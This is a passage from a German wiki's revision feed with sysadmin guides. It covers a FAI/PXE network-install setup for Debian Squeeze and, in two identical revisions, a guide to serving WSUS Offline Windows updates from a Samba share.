 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/deb.opera.com/opera/ squeeze non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian-multimedia.informatik.uni-erlangen.de/debian-multimedia/ squeeze main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian-multimedia.informatik.uni-erlangen.de/debian-multimedia/ squeeze main&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/www.lamaresh.net/apt squeeze main&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.virtualbox.org/virtualbox/debian squeeze contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.webmin.com/download/repository sarge contrib&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.tuxfamily.org/shames/debian-lenny/desktopfx/unstable/ ./&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/www.prodeia.de/mms/squeeze binary/&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/www.prodeia.de/mms source/&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/debian squeeze contrib main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/debian squeeze contrib main non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/xbmc/ squeeze main non-free contrib&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/xbmc/ squeeze main non-free contrib&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/enna squeeze main non-free contrib&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/enna squeeze main non-free contrib&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude&amp;quot; folgendes hinzufuegen:&lt;br /&gt;
 live-initramfs initramfs-tools vim&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude I386&amp;quot; folgendes ersetzen:&lt;br /&gt;
 linux-image-2.6-686&lt;br /&gt;
 linux-headers-2.6-686&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude AMD64&amp;quot; folgendes hinzufuegen:&lt;br /&gt;
 linux-headers-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kopieren der default Config (z.B. /srv/fai/config/disk_config fuer die Partitionierung):&lt;br /&gt;
 cp -a /usr/share/doc/fai-doc/examples/simple/* /srv/fai/config/&lt;br /&gt;
&lt;br /&gt;
Konfigurieren der eigenen Pakete die installiert werden sollen, in /srv/fai/config/package_config/OWN folgendes hinzufuegen:&lt;br /&gt;
 PACKAGES aptitude&lt;br /&gt;
 sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar kde-full kde-i18n-de kde-l10n-de kdm xserver-xorg&lt;br /&gt;
 iceweasel iceweasel-l10n-de opera flashplugin-nonfree wine&lt;br /&gt;
 subversion subversion-tools cvs mercurial&lt;br /&gt;
 webmin ssh proftpd-basic samba smbfs smbclient nfs-common nfs-kernel-server sendmail telnetd smbldap-tools&lt;br /&gt;
 k3b k3b-i18n &lt;br /&gt;
&lt;br /&gt;
 cdrdao dvd+rw-tools libdvdcss2 openssl cryptsetup &lt;br /&gt;
&lt;br /&gt;
 sun-java6-jdk sun-java6-plugin &lt;br /&gt;
&lt;br /&gt;
 xine-ui mplayer mencoder kmplayer mplayer-skin-blue amarok libxvidcore4 libxvidcore4-dev avifile-xvid-plugin xvid4conf vlc ffmpeg faad faac libfaac-dev liba52-0.7.4 liba52-0.7.4-dev lame libogg-dev libtheora-dev libvorbis-dev alsa-base alsa-oss alsa-tools alsa-utils alsa-source libx264-dev libmp4v2-dev libid3tag0-dev libmad0-dev libsndfile1-dev libflac-dev libasound2-dev openoffice.org openoffice.org-help-de openoffice.org-hyphenation-de openoffice.org-l10n-de openoffice.org-thesaurus-de-ch openoffice.org-thesaurus-de openoffice.org-kde ttf-mscorefonts-installer ttf-bitstream-vera ttf-freefont ttf-junicode sun-java6-fonts ttf-xfree86-nonfree&lt;br /&gt;
&lt;br /&gt;
Konfigurieren der default Config, in /srv/fai/config/class/50-host-classes folgendes ersetzen:&lt;br /&gt;
    *)&lt;br /&gt;
        echo &amp;quot;FAIBASE DHCPC GERMAN OWN&amp;quot; ;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum erstellen des FAI NFSroot und des FAI Mirrors fuer i386 (wird auch zum update ausgefuehrt):&lt;br /&gt;
 export FAI_DEBMIRROR=192.168.39.2:/srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 export FAI_ETC_DIR=/etc/fai-i386&lt;br /&gt;
 export APT_CONFIG=/etc/fai-i386/apt_arch.conf&lt;br /&gt;
 aptitude update&lt;br /&gt;
 fai-setup -C /etc/fai-i386 -v&lt;br /&gt;
 fai-mirror -C /etc/fai-i386 -v /srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 make-fai-nfsroot -C /etc/fai-i386 -v&lt;br /&gt;
 export -n APT_CONFIG FAI_ETC_DIR FAI_DEBMIRROR&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
In /srv/fai/nfsroot-i386/live/filesystem.dir/etc/initramfs-tools/initramfs.conf folgendes ersetzen:&lt;br /&gt;
 KEYMAP=y&lt;br /&gt;
 BOOT=nfs&lt;br /&gt;
&lt;br /&gt;
 chroot /srv/fai/nfsroot-i386/live/filesystem.dir /bin/bash --login&lt;br /&gt;
 mount -t proc none /proc/&lt;br /&gt;
 update-initramfs -k all -u&lt;br /&gt;
 umount /proc/&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 mkdir /srv/tftp/fai/&lt;br /&gt;
 cd /srv/fai/nfsroot-i386/live/filesystem.dir/boot/&lt;br /&gt;
 cp initrd.img-2.6.32-*-686 /srv/tftp/fai/&lt;br /&gt;
 cp vmlinuz-2.6.32-*-686 /srv/tftp/fai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun konfigurieren wir PXE:&lt;br /&gt;
 mkdir /srv/tftp/fai/pxelinux.cfg&lt;br /&gt;
&lt;br /&gt;
 fai-chboot -k &amp;quot;initrd=$(ls -rt /srv/tftp/fai/initrd.img*686* | tail -1 | sed &#039;s;.*/;;&#039;) ip=dhcp root=/dev/nfs nfsroot=192.168.39.2:/srv/fai/nfsroot-i386 boot=live FAI_FLAGS=verbose,sshd,createvt,reboot FAI_ACTION=install panic=60&amp;quot; $(ls -rt /srv/tftp/fai/vmlinuz*686* | tail -1 | sed &#039;s;.*/;;&#039;) debian-squeeze-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum erstellen des FAI NFSroot und des FAI Mirrors fuer amd64 (wird auch zum update ausgefuehrt):&lt;br /&gt;
 export FAI_DEBMIRROR=192.168.39.2:/srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 export FAI_ETC_DIR=/etc/fai-amd64&lt;br /&gt;
 export APT_CONFIG=/etc/fai-amd64/apt_arch.conf&lt;br /&gt;
 aptitude update&lt;br /&gt;
 fai-setup -C /etc/fai-amd64 -v&lt;br /&gt;
 fai-mirror -C /etc/fai-amd64 -v /srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 make-fai-nfsroot -C /etc/fai-amd64 -v&lt;br /&gt;
 export -n APT_CONFIG FAI_ETC_DIR FAI_DEBMIRROR&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
In /srv/fai/nfsroot-amd64/live/filesystem.dir/etc/initramfs-tools/initramfs.conf folgendes ersetzen:&lt;br /&gt;
 KEYMAP=y&lt;br /&gt;
 BOOT=nfs&lt;br /&gt;
&lt;br /&gt;
 chroot /srv/fai/nfsroot-amd64/live/filesystem.dir /bin/bash --login&lt;br /&gt;
 mount -t proc none /proc/&lt;br /&gt;
 update-initramfs -k all -u&lt;br /&gt;
 umount /proc/&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 mkdir /srv/tftp/fai/&lt;br /&gt;
 cd /srv/fai/nfsroot-amd64/live/filesystem.dir/boot/&lt;br /&gt;
 cp initrd.img-2.6.32-*-amd64 /srv/tftp/fai/&lt;br /&gt;
 cp vmlinuz-2.6.32-*-amd64 /srv/tftp/fai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun konfigurieren wir PXE:&lt;br /&gt;
 mkdir /srv/tftp/fai/pxelinux.cfg&lt;br /&gt;
&lt;br /&gt;
 fai-chboot -k &amp;quot;initrd=$(ls -rt /srv/tftp/fai/initrd.img*amd64* | tail -1 | sed &#039;s;.*/;;&#039;) ip=dhcp root=/dev/nfs nfsroot=192.168.39.2:/srv/fai/nfsroot-amd64 boot=live FAI_FLAGS=verbose,sshd,createvt,reboot FAI_ACTION=install panic=60&amp;quot; $(ls -rt /srv/tftp/fai/vmlinuz*amd64* | tail -1 | sed &#039;s;.*/;;&#039;) debian-squeeze-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt richten wir tftpd ein, in /etc/xinetd.d/tftp fuegen wir folgendes ein:&lt;br /&gt;
 service tftp&lt;br /&gt;
 {&lt;br /&gt;
         socket_type = dgram&lt;br /&gt;
         protocol = udp&lt;br /&gt;
         wait = yes&lt;br /&gt;
         user = root&lt;br /&gt;
         server = /usr/sbin/in.tftpd&lt;br /&gt;
         server_args = --tftpd-timeout 300  --retry-timeout 5 --maxthread 100 --verbose=5 /srv/tftp/fai/&lt;br /&gt;
         log_type = FILE /var/log/tftpd.log&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet,als erstes sichern wir uns die default conf Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
  &lt;br /&gt;
 option dhcp-max-message-size 2048;&lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 deny unknown-clients;&lt;br /&gt;
  &lt;br /&gt;
 allow bootp;&lt;br /&gt;
 allow booting;&lt;br /&gt;
 &lt;br /&gt;
 subnet 192.168.39.0 netmask 255.255.255.0&lt;br /&gt;
 {&lt;br /&gt;
 range 192.168.39.100 192.168.39.250;&lt;br /&gt;
 option domain-name &amp;quot;local&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.39.253;&lt;br /&gt;
 option routers 192.168.39.253;&lt;br /&gt;
 option broadcast-address 192.168.39.255;&lt;br /&gt;
 default-lease-time 86400;&lt;br /&gt;
 max-lease-time 604800;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 group {&lt;br /&gt;
 &lt;br /&gt;
         filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
         next-server 192.168.39.2;&lt;br /&gt;
  &lt;br /&gt;
         host debian-squeeze-1 {&lt;br /&gt;
                 hardware ethernet 08:00:22:22:22:21;&lt;br /&gt;
                 fixed-address 192.168.39.226;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=WSUSOFFLINE_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=99</id>
		<title>WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=WSUSOFFLINE_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=99"/>
		<updated>2013-04-29T20:01:59Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Schützte „WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE“ (‎[edit=sysop] (unbeschränkt) ‎[move=sysop] (unbeschränkt))&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 23.02.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 WSUS Server, Debian Squeeze 6.0x, IP 192.168.1.252, Hostname wsus.oppserver.net wsus&lt;br /&gt;
 Client 1, MAC Adresse 00:0C:29:05:F0:05, IP 192.168.1.199, Hostname test-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s oder nur su -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DEBIAN SERVER PART:&lt;br /&gt;
&lt;br /&gt;
Benoetigte Pakete installieren:&lt;br /&gt;
 aptitude install xmlstarlet tofrodos samba samba-common smbclient smbfs samba-doc md5deep dos2unix&lt;br /&gt;
Hier direkt die richtige Workgroup eintragen, wo die Client nachher auch eingerichten werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wsus Benutzer anlegen und Samba Passwort vergeben:&lt;br /&gt;
 useradd wsus&lt;br /&gt;
 passwd wsus&lt;br /&gt;
 smbpasswd -a wsus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wsusoffline downloaden (http://download.wsusoffline.net/) und entpacken:&lt;br /&gt;
 cd /&lt;br /&gt;
 wget http://download.wsusoffline.net/wsusoffline81.zip&lt;br /&gt;
 unzip wsusoffline81.zip&lt;br /&gt;
 chown -R wsus:wsus wsusoffline&lt;br /&gt;
 chmod +x wsusoffline/sh/*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Client Update Konfiguration (/wsusoffline/client/UpdateInstaller.ini) anpassen:&lt;br /&gt;
 [Installation]&lt;br /&gt;
 backup=Disabled&lt;br /&gt;
 updatercerts=Enabled&lt;br /&gt;
 instie7=Disabled&lt;br /&gt;
 instie8=Enabled&lt;br /&gt;
 instie9=Enabled&lt;br /&gt;
 updatecpp=Enabled&lt;br /&gt;
 updatedx=Enabled&lt;br /&gt;
 instmssl=Disabled&lt;br /&gt;
 updatewmp=Enabled  &lt;br /&gt;
 updatetsc=Enabled&lt;br /&gt;
 instdotnet35=Enabled &lt;br /&gt;
 instdotnet4=Enabled &lt;br /&gt;
 instpsh=Disabled&lt;br /&gt;
 instmsse=Disabled&lt;br /&gt;
 instwd=Disabled&lt;br /&gt;
 instofc=Disabled&lt;br /&gt;
 instofv=Disabled&lt;br /&gt;
 all=Enabled &lt;br /&gt;
 excludestatics=Disabled&lt;br /&gt;
 skipdynamic=Disabled&lt;br /&gt;
 [Control]&lt;br /&gt;
 verify=Enabled&lt;br /&gt;
 autoreboot=Disabled&lt;br /&gt;
 shutdown=Disabled  &lt;br /&gt;
 [Messaging]&lt;br /&gt;
 showlog=Disabled&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Crontab fuer Download der Updates erstellen:&lt;br /&gt;
Windows 7 32Bit als Beispiel (taeglich um 0 Uhr):&lt;br /&gt;
 crontab -e -u wsus&lt;br /&gt;
 0 0 * * * /bin/bash /wsusoffline/sh/DownloadUpdates.sh w61 deu /dotnet /msse /wddefs &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
Erklaerung dazu:&lt;br /&gt;
 DownloadUpdates.sh [system] [language] [parameter]&lt;br /&gt;
 systems:&lt;br /&gt;
 wxp (Windows XP 32bit)&lt;br /&gt;
 wxp-x64 (Windows XP 64bit)&lt;br /&gt;
 w2k3 (Windows Server 2003 32bit)&lt;br /&gt;
 w2k3-x64 (Windows Server 2003 64bit)&lt;br /&gt;
 w60 (Windows Vista 32bit)&lt;br /&gt;
 w60-x64 (Windows Vista 64bit)&lt;br /&gt;
 w61 (Windows 7 32bit)&lt;br /&gt;
 w61-x64 (Windows 7 64bit)&lt;br /&gt;
 w62 (Windows 8 32bit)&lt;br /&gt;
 w62-x64 (Windows 8 64bit)&lt;br /&gt;
 all-x86 (alle Windows 32bit)&lt;br /&gt;
 all-x64 (alle Windows 64bit)&lt;br /&gt;
 o2k3 (Microsoft Office 2003)&lt;br /&gt;
 o2k7 (Microsoft Office 2007)&lt;br /&gt;
 o2k10 (Microsoft Office 2010)&lt;br /&gt;
 o2k13 (Microsoft Office 2013)&lt;br /&gt;
 ofc (alle Microsoft Office)&lt;br /&gt;
 &lt;br /&gt;
 languages:&lt;br /&gt;
 enu, deu, nld, esn, fra, ptg, ptb, ita, rus, plk, ell, csy&lt;br /&gt;
 dan, nor, sve, fin, jpn, kor, chs, cht, hun, trk, ara, heb&lt;br /&gt;
 &lt;br /&gt;
 parameter:&lt;br /&gt;
 /excludesp - do not download servicepacks&lt;br /&gt;
 /makeiso   - create ISO image&lt;br /&gt;
 /dotnet    - download .NET framework&lt;br /&gt;
 /msse      - download Microsoft Security Essentials installation files&lt;br /&gt;
 /wddefs    - download Windows Defender definition files&lt;br /&gt;
 /nocleanup - do not cleanup client directory&lt;br /&gt;
 /proxy     - define proxy server (/proxy http://[username:password@]&amp;lt;server&amp;gt;:&amp;lt;port&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Samba Share/Freigabe einrichten:&lt;br /&gt;
In /etc/samba/smb.conf an das Ende der Datei folgendes anfuegen&lt;br /&gt;
 [wsus]&lt;br /&gt;
    available = yes&lt;br /&gt;
    comment = Windows Updates (ro)&lt;br /&gt;
    path = /wsusoffline&lt;br /&gt;
    writeable = no    &lt;br /&gt;
    invalid users = root&lt;br /&gt;
    valid users = wsus&lt;br /&gt;
&lt;br /&gt;
Den Samba Server danach restarten&lt;br /&gt;
 /etc/init.d/samba restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
WINDOWS CLIENT PART&lt;br /&gt;
&lt;br /&gt;
Wir kopieren auf dem Client Rechner den Ordner wsusupdate inkl. der darin enthaltenen hidden32.exe in %systemdrive% (z.B. C:).&lt;br /&gt;
Die Batch Datei wsus.bat muessen wir fuer unsere Umgebung anpassen:&lt;br /&gt;
&lt;br /&gt;
 @echo off&lt;br /&gt;
 net use U: \\192.168.1.252\wsus\client 123 /USER:wsus /PERSISTENT:no&lt;br /&gt;
 %systemdrive%\wsusupdate\hidden32.exe U:\cmd\DoUpdate.cmd&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Die 192.168.1.252 ist die IP vom Debian Server, hier kann natuerlich auch der Hostname genommen werden, in unserem Fall wsus.&lt;br /&gt;
Die 123 ist das Passwort vom Samba User wsus.&lt;br /&gt;
&lt;br /&gt;
Unter Windows 7 muss man dann nur noch die wsus.bat nach&lt;br /&gt;
 &amp;quot;%systemdrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup&amp;quot;&lt;br /&gt;
bzw.&lt;br /&gt;
 &amp;quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup&amp;quot;&lt;br /&gt;
kopiert werden.&lt;br /&gt;
Schon wird das Windows Update bei jeder Benutzeranmeldung des Systems im Hintergrund gestartet.&lt;br /&gt;
&lt;br /&gt;
Unter Windows XP muss man dann nur noch die wsus.bat nach&lt;br /&gt;
 &amp;quot;%systemdrive%\Dokumente und Einstellungen\All Users\Startmenue\Programme\Autostart&amp;quot;&lt;br /&gt;
bzw.&lt;br /&gt;
 &amp;quot;C:\Dokumente und Einstellungen\All Users\Startmenue\Programme\Autostart&amp;quot;&lt;br /&gt;
kopiert werden.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=WSUSOFFLINE_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=98</id>
		<title>WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=WSUSOFFLINE_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=98"/>
		<updated>2013-04-29T20:01:50Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 23.02.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]  Hier…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 23.02.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 WSUS Server, Debian Squeeze 6.0x, IP 192.168.1.252, Hostname wsus.oppserver.net wsus&lt;br /&gt;
 Client 1, MAC Adresse 00:0C:29:05:F0:05, IP 192.168.1.199, Hostname test-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s oder nur su -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DEBIAN SERVER PART:&lt;br /&gt;
&lt;br /&gt;
Benoetigte Pakete installieren:&lt;br /&gt;
 aptitude install xmlstarlet tofrodos samba samba-common smbclient smbfs samba-doc md5deep dos2unix&lt;br /&gt;
Hier direkt die richtige Workgroup eintragen, wo die Client nachher auch eingerichten werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wsus Benutzer anlegen und Samba Passwort vergeben:&lt;br /&gt;
 useradd wsus&lt;br /&gt;
 passwd wsus&lt;br /&gt;
 smbpasswd -a wsus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wsusoffline downloaden (http://download.wsusoffline.net/) und entpacken:&lt;br /&gt;
 cd /&lt;br /&gt;
 wget http://download.wsusoffline.net/wsusoffline81.zip&lt;br /&gt;
 unzip wsusoffline81.zip&lt;br /&gt;
 chown -R wsus:wsus wsusoffline&lt;br /&gt;
 chmod +x wsusoffline/sh/*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Client Update Konfiguration (/wsusoffline/client/UpdateInstaller.ini) anpassen:&lt;br /&gt;
 [Installation]&lt;br /&gt;
 backup=Disabled&lt;br /&gt;
 updatercerts=Enabled&lt;br /&gt;
 instie7=Disabled&lt;br /&gt;
 instie8=Enabled&lt;br /&gt;
 instie9=Enabled&lt;br /&gt;
 updatecpp=Enabled&lt;br /&gt;
 updatedx=Enabled&lt;br /&gt;
 instmssl=Disabled&lt;br /&gt;
 updatewmp=Enabled  &lt;br /&gt;
 updatetsc=Enabled&lt;br /&gt;
 instdotnet35=Enabled &lt;br /&gt;
 instdotnet4=Enabled &lt;br /&gt;
 instpsh=Disabled&lt;br /&gt;
 instmsse=Disabled&lt;br /&gt;
 instwd=Disabled&lt;br /&gt;
 instofc=Disabled&lt;br /&gt;
 instofv=Disabled&lt;br /&gt;
 all=Enabled &lt;br /&gt;
 excludestatics=Disabled&lt;br /&gt;
 skipdynamic=Disabled&lt;br /&gt;
 [Control]&lt;br /&gt;
 verify=Enabled&lt;br /&gt;
 autoreboot=Disabled&lt;br /&gt;
 shutdown=Disabled  &lt;br /&gt;
 [Messaging]&lt;br /&gt;
 showlog=Disabled&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Crontab fuer Download der Updates erstellen:&lt;br /&gt;
Windows 7 32Bit als Beispiel (taeglich um 0 Uhr):&lt;br /&gt;
 crontab -e -u wsus&lt;br /&gt;
 0 0 * * * /bin/bash /wsusoffline/sh/DownloadUpdates.sh w61 deu /dotnet /msse /wddefs &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
Erklaerung dazu:&lt;br /&gt;
 DownloadUpdates.sh [system] [language] [parameter]&lt;br /&gt;
 systems:&lt;br /&gt;
 wxp (Windows XP 32bit)&lt;br /&gt;
 wxp-x64 (Windows XP 64bit)&lt;br /&gt;
 w2k3 (Windows Server 2003 32bit)&lt;br /&gt;
 w2k3-x64 (Windows Server 2003 64bit)&lt;br /&gt;
 w60 (Windows Vista 32bit)&lt;br /&gt;
 w60-x64 (Windows Vista 64bit)&lt;br /&gt;
 w61 (Windows 7 32bit)&lt;br /&gt;
 w61-x64 (Windows 7 64bit)&lt;br /&gt;
 w62 (Windows 8 32bit)&lt;br /&gt;
 w62-x64 (Windows 8 64bit)&lt;br /&gt;
 all-x86 (alle Windows 32bit)&lt;br /&gt;
 all-x64 (alle Windows 64bit)&lt;br /&gt;
 o2k3 (Microsoft Office 2003)&lt;br /&gt;
 o2k7 (Microsoft Office 2007)&lt;br /&gt;
 o2k10 (Microsoft Office 2010)&lt;br /&gt;
 o2k13 (Microsoft Office 2013)&lt;br /&gt;
 ofc (alle Microsoft Office)&lt;br /&gt;
 &lt;br /&gt;
 languages:&lt;br /&gt;
 enu, deu, nld, esn, fra, ptg, ptb, ita, rus, plk, ell, csy&lt;br /&gt;
 dan, nor, sve, fin, jpn, kor, chs, cht, hun, trk, ara, heb&lt;br /&gt;
 &lt;br /&gt;
 parameter:&lt;br /&gt;
 /excludesp - do not download servicepacks&lt;br /&gt;
 /makeiso   - create ISO image&lt;br /&gt;
 /dotnet    - download .NET framework&lt;br /&gt;
 /msse      - download Microsoft Security Essentials installation files&lt;br /&gt;
 /wddefs    - download Windows Defender definition files&lt;br /&gt;
 /nocleanup - do not cleanup client directory&lt;br /&gt;
 /proxy     - define proxy server (/proxy http://[username:password@]&amp;lt;server&amp;gt;:&amp;lt;port&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Samba Share/Freigabe einrichten:&lt;br /&gt;
In /etc/samba/smb.conf an das Ende der Datei folgendes anfuegen&lt;br /&gt;
 [wsus]&lt;br /&gt;
    available = yes&lt;br /&gt;
    comment = Windows Updates (ro)&lt;br /&gt;
    path = /wsusoffline&lt;br /&gt;
    writeable = no    &lt;br /&gt;
    invalid users = root&lt;br /&gt;
    valid users = wsus&lt;br /&gt;
&lt;br /&gt;
Den Samba Server danach restarten&lt;br /&gt;
 /etc/init.d/samba restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
WINDOWS CLIENT PART&lt;br /&gt;
&lt;br /&gt;
Wir kopieren auf dem Client Rechner den Ordner wsusupdate inkl. der darin enthaltenen hidden32.exe in %systemdrive% (z.B. C:).&lt;br /&gt;
Die Batch Datei wsus.bat muessen wir fuer unsere Umgebung anpassen:&lt;br /&gt;
&lt;br /&gt;
 @echo off&lt;br /&gt;
 net use U: \\192.168.1.252\wsus\client 123 /USER:wsus /PERSISTENT:no&lt;br /&gt;
 %systemdrive%\wsusupdate\hidden32.exe U:\cmd\DoUpdate.cmd&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Die 192.168.1.252 ist die IP vom Debian Server, hier kann natuerlich auch der Hostname genommen werden, in unserem Fall wsus.&lt;br /&gt;
Die 123 ist das Passwort vom Samba User wsus.&lt;br /&gt;
&lt;br /&gt;
Unter Windows 7 muss man dann nur noch die wsus.bat nach&lt;br /&gt;
 &amp;quot;%systemdrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup&amp;quot;&lt;br /&gt;
bzw.&lt;br /&gt;
 &amp;quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup&amp;quot;&lt;br /&gt;
kopiert werden.&lt;br /&gt;
Schon wird das Windows Update bei jeder Benutzeranmeldung des Systems im Hintergrund gestartet.&lt;br /&gt;
&lt;br /&gt;
Unter Windows XP muss man dann nur noch die wsus.bat nach&lt;br /&gt;
 &amp;quot;%systemdrive%\Dokumente und Einstellungen\All Users\Startmenue\Programme\Autostart&amp;quot;&lt;br /&gt;
bzw.&lt;br /&gt;
 &amp;quot;C:\Dokumente und Einstellungen\All Users\Startmenue\Programme\Autostart&amp;quot;&lt;br /&gt;
kopiert werden.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Debian&amp;diff=97</id>
		<title>Debian</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Debian&amp;diff=97"/>
		<updated>2013-04-29T19:58:17Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[DEBIAN AUFRAEUMEN]]&lt;br /&gt;
* [[DEBIAN KERNEL BAUEN]]&lt;br /&gt;
* PAKETE PER APT INSTALLIEREN&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN SQUEEZE 6.0|SQUEEZE/6.0]]&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN LENNY 5.0|LENNY/5.0]]&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN ETCH 4.0|ETCH/4.0]]&lt;br /&gt;
* PAKETE ERSTELLEN&lt;br /&gt;
** [[DEBIAN SQUEEZE PAKETE ERSTELLEN|SQUEEZE/6.0]]&lt;br /&gt;
** [[DEBIAN LENNY PAKETE ERSTELLEN|LENNY/5.0]]&lt;br /&gt;
** [[DEBIAN ETCH PAKETE ERSTELLEN|ETCH/4.0]]&lt;br /&gt;
